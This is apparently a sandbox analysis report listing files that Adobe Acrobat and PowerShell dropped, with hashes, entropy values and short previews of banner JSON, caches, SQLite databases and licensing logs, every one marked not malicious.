Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3101984441564145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJfFldPeUkwRe9:YvXKXPRVk/DctoGz8Ukee9
MD5:	BCC17215E048A75506B695505FEF1024
SHA1:	F069E0DA32EA9822541F43AB599C1FCECBD3FD69
SHA-256:	33010A13630F0B683901D39EDC6E2FCD7986A9E5777DA1D63E44929717366132
SHA-512:	5064D1C27F7741274C5E2C703C920E0F7DB31FD07C599A5E981291DDD96BDFCCAB08DD884970C19D8602BEFC3F89DBD8AAB46F39E10E22A32B6E1B21A1551BED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3259872498187235
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJfzdPeUkwRe9:YvXKXPRVk/DctoGb8Ukee9
MD5:	1F88861634C5883A1E727FD971F4DB59
SHA1:	0007F1BCFDBBA1336172E64C431C1A047FE39F8B
SHA-256:	D9977F5983DB5F53DDCCD9710AA3C37E832FE28978306AA1DFA5FE317A3F7DDF
SHA-512:	1BEC76BA2D8A218342073215EF05AE966A23A5839D2563574019349417F323AB38744F786AD268B92E6ABE3B62BD61FDC458A3A42A4C20DFF4B15C84A08E7E3D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306474689305042
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJfYdPeUkwRe9:YvXKXPRVk/DctoGg8Ukee9
MD5:	DF30244C4CF4423FAE24BFA2C8A253EB
SHA1:	7A8653DA78B5F7448EE392F5EB99884FCB953263
SHA-256:	0AE0BF5196474F7C827F305022BE764159B608091B2C2DCC205940C628A9A8BA
SHA-512:	D0D077E43A4C76AEC3B6E2C2077E797B9F779C0A0283C09B129213D9752901227D4E9654733C0860716FEB7D209EEB819D9274553F67B230BF891524644C5529
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.292639053136808
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJf+dPeUkwRe9:YvXKXPRVk/DctoG28Ukee9
MD5:	EAB30428835099F4AF2EAB78343D6B4B
SHA1:	0E42E7B39D58FADE4A8447A462B56D15371272A0
SHA-256:	5B6304F150C72E9F30D2A5B7A5119D29924C1FB94EAB40C42324226EF51E872C
SHA-512:	BA03B9B734A4B9A77E20346480D14EE55D80B2175047E3B9948018A3C85D057706D5EB1E3B0E9928B70D7F6E3F93072FE045C1795C791C385F0CBC8EA6688D7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.289977287396053
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJfbPtdPeUkwRe9:YvXKXPRVk/DctoGDV8Ukee9
MD5:	D341C29BF991195755E4AB7BA3036B12
SHA1:	AB84C3D4FCD0AD46D1628E99827B50C724C3FFF1
SHA-256:	8C6CA28059028B9DE5F4B13A981C4E93366FA1EA730489A72BD56A96F14794CE
SHA-512:	5FDBC78495BA7F9885F58B682D5B3B135A9C5CCF3ED4417F83B2765E1AD7288BCAFA52D8209E134C9AD120C5C3926666CEAF165D08E9E4464E048A7A887B71AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.293133846467487
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJf21rPeUkwRe9:YvXKXPRVk/DctoG+16Ukee9
MD5:	DF8D2427784116D73DE14D5E958E46FC
SHA1:	F03DF2DD3FAECC384603520C15FC50EB840BFE34
SHA-256:	EEA16D1CAF91A925A143EF2F7E31AD4D4BA64A1B85FAC9F8297996DA816320EB
SHA-512:	189BDA5DFAE5D69234EF9BC47501957879D5A89D18FA74D82503D12BA391446850336F5925512BCFC0BC94D68C8125173855760FBD73C1E2E718FDF4A3CE18D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669555307636206
Encrypted:	false
SSDEEP:	24:Yv6XPR4ot9amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSW:YvDIBgkDMUJUAh8cvMW
MD5:	3A9A90F3577DBD3D5AA9FFBD8FF1480E
SHA1:	EF5E6E4D7A4F1781ED4533D3B9E93102D65A13E8
SHA-256:	D82A29272FB19A95A7F3497EF1403454ADF889FAB4ED1DE4EF4AB8A121BC1C00
SHA-512:	087F4483D01B343B6B52C76585C05E9F41D3F985FF58233A316311799BD0F12F76D08937CD32DDB517B85ED9D7E194833DBF9D75956B83BEDC88C62013661394
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.271101315315651
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJfshHHrPeUkwRe9:YvXKXPRVk/DctoGUUUkee9
MD5:	28EDBF94F9EC58D1E1DA74512FA54511
SHA1:	B118F58911DA5A6BA8B012E1B840F42310C08392
SHA-256:	7E46646FB644BE754B8B220D853A047F366FF52F98A5D17E2EFDCF0618E7420E
SHA-512:	0972A0ECD8FFA71B158967FDDAEBA2D248F577834944D331C3BB3BB28A726374FC2FBBFE890DA564FC392C74F515FB47C7E9157CE0DC314F347C67BC4957248C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.277431245488969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJTqgFCrPeUkwRe9:YvXKXPRVk/DctoGTq16Ukee9
MD5:	30FB82EFE4F67BB185EDF3325DA01FB6
SHA1:	42A90913494B0045FB29981A54AA647FD93319C8
SHA-256:	69EB4C9359A17B80861A6D9CFCDA22CD993F9004036A034D3BE1D7FF6E1B7B62
SHA-512:	A3FCC80A3F37F669E8F0092F56269982621FFB69C6E2254995F14A238250B1AD1ADAE9C2F31F37E9EEF9C3D118B712DC736D7C33EF7BF802F9E3F6D6FCA55348
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139759479256982
Encrypted:	false
SSDEEP:	48:YtKqbsxx0TQwDuGCqDYNUxa8PZRTS6BcMpWMNyD9R9WxB:/qbsxx0TQwDuGCqDYN8bLbBcMpWyyxRA
MD5:	E32C0B39D946F4901A0A7C57DB102A81
SHA1:	64E24EEA6B6ED885410B9DE2E37E11E27D1B39D9
SHA-256:	872DDEFD329678E5112E11ADB524E48A70EC28891CA01A2B824A2CD25F05F5D8
SHA-512:	E55C60BD07B5EDADC1D58633A300224701054850694B172B6BEC896A7F97AA39FE5AAE70100A2BFB2600494BF187C6705678D26E7F974DB1BE8C7A9A75A4204B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"bc294ad388255c6bc9d040bf17e75f94","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736565283000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"893ff7c23e38af5858e895771bbb2d4a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736565283000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b3ecb74e05a494ca130ad948dec49771","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736565283000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"26d889832000a13d178a6b178d856230","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736565283000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6e0e182e4b60d3f5afa870e12eeb80e6","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736565283000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"25892090ccd9c6ef0907747e6b934752","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1465056817885557
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursTgjHRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUuW:TFl2GL7msTOXc+XcGNFlRYIX2v3ksQ
MD5:	86D465100DB008DDE205AAE5BB8B88AA
SHA1:	B2F1047C0BD02837BF0419DC852EE095A03F7C39
SHA-256:	932454817607E35DA8AEE0159DE6022F9E41D504DCDCA726F114FDC69459A448
SHA-512:	2B88D7DE8E41C2719615C172AFAD5D1107F725E4880F3DB07350AB0CAFA70D3C8B2626158D1F29E6A640FFFF31D5A703623FE9D3F03B7CC878F96F4E249ABC24
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5531408233975925
Encrypted:	false
SSDEEP:	24:7+tlgjHUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLux6qLxx/X/:7MlxXc+XcGNFlRYIX2v7qVl2GL7msB
MD5:	37E320B46B4072C25E8FC17776D31281
SHA1:	7A3A4F8AA70EB89B8552DED0C7E999BBD3E7F5BA
SHA-256:	FC9EDBEB6DCC2ABE298550B2F5A8299BD3CDA05DB34A8CC2C3B9139D5F9FB935
SHA-512:	8A07E93D255D4A8A2CE27FFDC73CB28CC7F31672B3FBE05700BC64D11D17C1556B40C21C29600A77E9E42A4DBD8B5FFE2AF20F8228125AD5EEC085F5A25A7CE0
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgUWrkfPf0RIvXhL7bJFEeXTeNYyu:6a6TZ44ADEUWQPfeIvh9T2K
MD5:	03A4833E58CA9B2CA1DEA5BCF8BFB01A
SHA1:	2BF5CE53620D29A495852875A81AD1FE8D7D7FA9
SHA-256:	ED3DB561B2C50EBD3229AAAB14E010A30C4185E8EDB0598878935A6AB4B51E31
SHA-512:	26D445ACA69001E68612683FA62C10CB92D939BB5755A285E5B6382737F99DA8D7B4B28F311741BE6819138E49C5EBFB53F412D0CC9941FDC9ABA1F2045ABB6E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIf2c24.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClWlUNlH:Qw946cPbiOxDlbYnuRK+brUN9
MD5:	03C070A28583A732EC9D398B84C60704
SHA1:	1B0658195E8EB4DD54B8EB00B22AC3EF2CC6C891
SHA-256:	D86799365F27D14FAF3B0B3389CB24A12F6B33FF96126AC9F05D81FA4BAFBE8C
SHA-512:	B83F4C3661BFA4D4D5818F81201F7A9988A5D216799DE326AB9A1C34A886575782537CA36AF3ED6C942B169AAB305A2687A0F84009E3AC8AB67C175BB43BE91A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.1.4.:.4.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hlwuhbtg.ipx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wucuus2m.jbx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-14-36-555.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.357847112406132
Encrypted:	false
SSDEEP:	384:fEQBossqc4Pn2SK5k2FMUnwa7x6xRBdHaZy35tpYAY1u8QEVUVsVNVNjVKVHVKVf:7Ir6C/zwJwToy
MD5:	1F275DF1804B4A7E84DCA983BBFDA92C
SHA1:	8F3CE7F7938595E4F6832F363B04E1D2954534F9
SHA-256:	2C3657F0265EF3A581A419E79443E7DFF6E9427CCF4F59C4651E69BAC898CFAA
SHA-512:	D53BF5B1F6767310FA7F2218554489FB336F1A6529B8F6CD11479F5BD269354A528212DAF6C1AF3A641F28E77B2EC5B313CD2EAAC04ADE1D2424883CF248CE8C
Malicious:	false
Preview:	SessionID=ee1eb840-f17d-4c35-a766-ab6d33a9f356.1736565276593 Timestamp=2025-01-10T22:14:36:593-0500 ThreadID=7408 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ee1eb840-f17d-4c35-a766-ab6d33a9f356.1736565276593 Timestamp=2025-01-10T22:14:36:648-0500 ThreadID=7408 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ee1eb840-f17d-4c35-a766-ab6d33a9f356.1736565276593 Timestamp=2025-01-10T22:14:36:648-0500 ThreadID=7408 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ee1eb840-f17d-4c35-a766-ab6d33a9f356.1736565276593 Timestamp=2025-01-10T22:14:36:648-0500 ThreadID=7408 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ee1eb840-f17d-4c35-a766-ab6d33a9f356.1736565276593 Timestamp=2025-01-10T22:14:36:648-0500 ThreadID=7408 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398068673027897
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbSQcb2Ipvcb1:V3fOCIdJDe4NpI
MD5:	9927D2028FDCB5D227A927E1341C6B93
SHA1:	0181BD03E61561A6028346A99EB8D958A90F246C
SHA-256:	F9EAA8DB187572F29C3597983EE0354C69CA84452AADA1B4F91A667A54B666D6
SHA-512:	DB0A917BD2A43A16289087F026E0970FA74497C02FC94F8FDE15AC9A7B6D19C2F5B168A92B5D5788F45C95AB56982FF05F58B7DBB8B077516BE9DC4DF31BF550
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : 